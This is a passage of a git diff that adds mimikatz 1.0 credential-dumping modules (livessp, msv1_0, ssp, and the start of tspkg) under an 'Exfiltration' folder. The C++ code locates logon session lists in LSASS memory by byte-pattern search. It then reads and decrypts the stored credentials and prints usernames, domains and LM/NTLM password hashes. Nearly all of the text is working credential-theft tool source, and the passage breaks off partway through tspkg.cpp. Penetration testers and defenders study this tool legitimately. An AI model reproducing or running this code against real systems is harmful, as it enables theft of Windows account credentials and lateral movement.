mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getLiveSSPLogonData, wstring(L"livessp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; +#elif defined _M_IX86 + BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0}; +#endif + LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) + { + + PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList); + if(HMODULE monModule = LoadLibrary(L"livessp")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); + *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModLIVESSP && LiveGlobalLogonSessionList); +} + +bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLiveGlobalLogonSessionList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; + if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP); + if(pLogSession->suppCreds) + { + if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (livessp KO)"; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h new file mode 100644 index 0000000..891da63 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h @@ -0,0 +1,44 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_livessp { + +private: + typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL + { + DWORD isSupp; // 88h + DWORD unk0; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_LIVESSP_LIST_ENTRY + { + struct _KIWI_LIVESSP_LIST_ENTRY *Flink; + struct _KIWI_LIVESSP_LIST_ENTRY *Blink; + PVOID unk0; // 1 + PVOID unk1; // 0FFFFFFFFh + PVOID unk2; // 0FFFFFFFFh + PVOID unk3; // 0 + DWORD unk4; // 0 + DWORD unk5; // 0 + PVOID unk6; // 20007D0h + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + PVOID unk7; // 2000010Dh + PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; + } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; + + static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; + static bool searchLiveGlobalLogonSessionList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; + static bool getLiveSSP(vector<wstring> * arguments); + static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..39fa015 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp @@ -0,0 +1,217 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" +#include "..\..\global.h" +PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; +PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; + +bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; + BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; + + LONG OFFS_WALL_LogonSessionList = -sizeof(long); + LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); + LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); +#elif defined _M_IX86 + BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; + BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; + BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; + + LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); + LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); + LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; + LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; +#ifdef _M_X64 + offsetListe = OFFS_WALL_LogonSessionList; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_LogonSessionList; + taille = sizeof(PTRN_WIN5_LogonSessionList); + offsetCount = OFFS_WIN5_LogonSessionListCount; + } + else + { + pattern = PTRN_WIN6_LogonSessionList; + taille = sizeof(PTRN_WIN6_LogonSessionList); + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; + else + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) + { + pattern = PTRN_WN51_LogonSessionList; + taille = sizeof(PTRN_WN51_LogonSessionList); + offsetListe = OFFS_WN51_LogonSessionList; + } + else + { + pattern = PTRN_WNO8_LogonSessionList; + taille = sizeof(PTRN_WNO8_LogonSessionList); + offsetListe = OFFS_WNO8_LogonSessionList; + offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; + } + } + else + { + pattern = PTRN_WIN8_LogonSessionList; + taille = sizeof(PTRN_WIN8_LogonSessionList); + offsetListe = OFFS_WIN8_LogonSessionList; + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#endif + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) + { + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + if(offsetCount) + { + pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + } + } + } + return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); +} + +bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLogonSessionList()) + { + LONG offsetToLuid, offsetToCredentials; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); + } + else + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 + { +#ifdef _M_X64 + offsetToCredentials += 4*sizeof(PVOID); +#elif defined _M_IX86 + offsetToCredentials += 2*sizeof(PVOID); +#endif + } + } + + ULONG nbListes = 0; + if(LogonSessionListCount) + mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); + else nbListes = 1; + + PLIST_ENTRY pLogSession = NULL; + for(ULONG i = 0; i < nbListes; i++) + { + if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId)) + { + BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; + if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) + { + PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials); + if(monPtr) + { + BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; + if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials); + if(mesCreds->PrimaryCredentials) + { + BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; + if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; + delete [] kiwiMSVPrimaryCredentials; + + } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; + + }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; + delete [] kiwiMSVCredentials; + + } else (*outputStream) << L"n.s. (Credentials KO)"; + + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; + delete [] kiwiMSVListEntry; + + break; + } + } + if(!pLogSession) + (*outputStream) << L"n.t. (LUID KO)"; + } + else (*outputStream) << L"n.a. (msv1_0 KO)"; + return true; +} + +bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) +{ + if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) + { + BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; + if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS)) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); + PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer); + + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); + + wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); + + if(justSecurity) + (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + (*outputStream) << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; + + delete [] monBuffer; + } else (*outputStream) << L"n.s. (Block Credentials KO)"; + + return true; +} + +void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress))); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h new file mode 100644 index 0000000..cf8ccac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h @@ -0,0 +1,105 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_msv1_0 { + +private: + typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { + PVOID unk0; // next? + LSA_UNICODE_STRING Primary; + LSA_UNICODE_STRING Credentials; + } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_CREDENTIALS { + PVOID unk0; // next? + DWORD AuthenticationPackageId; + PVOID PrimaryCredentials; + } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_LIST_5 { + struct _KIWI_MSV1_0_LIST_5 *Flink; + struct _KIWI_MSV1_0_LIST_5 *Blink; + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; + + typedef struct _KIWI_MSV1_0_LIST_6 { + struct _KIWI_MSV1_0_LIST_6 *Flink; + struct _KIWI_MSV1_0_LIST_6 *Blink; + PVOID unk0; // unk_18457A0 + DWORD unk1; // 0FFFFFFFFh + DWORD unk2; // 0 + PVOID unk3; // 0 + PVOID unk4; // 0 + PVOID unk5; // 0 + PVOID unk6; // 0C04h + PVOID unk7; // 0 + PVOID unk8; // 0C08h + PVOID unk9; // 0 + PVOID unk10; // 0 + DWORD unk11; // 0 + DWORD unk12; // 0 + PVOID unk13; // offset off_18456A0 + LUID LocallyUniqueIdentifier; + LUID SecondaryLocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; + + typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; + } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + + static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + + static PLIST_ENTRY LogonSessionList; + static PULONG LogonSessionListCount; + static bool searchLogonSessionList(); + + static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); +public: + static bool getMSV(vector<wstring> * arguments); + static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); +};
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp new file mode 100644 index 0000000..86dab86 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp @@ -0,0 +1,92 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "ssp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; +mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; + +bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; + BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; + LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; +#elif defined _M_IX86 + BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList); + +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_SspCredentialList; + taille = sizeof(PTRN_WIN5_SspCredentialList); + offset = OFFS_WIN5_SspCredentialList; + } + else + { + pattern = PTRN_WIN6_SspCredentialList; + taille = sizeof(PTRN_WIN6_SspCredentialList); + offset = OFFS_WIN6_SspCredentialList; + } +#elif defined _M_IX86 + pattern = PTRN_WALL_SspCredentialList; + taille = sizeof(PTRN_WALL_SspCredentialList); + offset = OFFS_WALL_SspCredentialList; +#endif + if(HMODULE monModule = LoadLibrary(L"msv1_0")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); + *pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (SspCredentialList != NULL); +} + +bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchSSPEntryList()) + { + KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; + DWORD monNb = 0; + if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + while(mesCredentials.Flink != SspCredentialList) + { + if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) + { + mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); + monNb++; + } + } + } + } + } + else (*outputStream) << L"n.a. (SSP KO)"; + + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h new file mode 100644 index 0000000..d2d5396 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_ssp { + +private: + typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; + ULONG References; + ULONG CredentialReferences; + LUID LogonId; + ULONG unk0; + ULONG unk1; + ULONG unk2; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; + + static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; + static bool searchSSPEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; + static bool getSSP(vector<wstring> * arguments); + static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp new file mode 100644 index 0000000..71e3751 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp @@ -0,0 +1,94 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "tspkg.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL); + +bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); +#elif defined _M_IX86 + BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; + LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); + + BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; + LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && 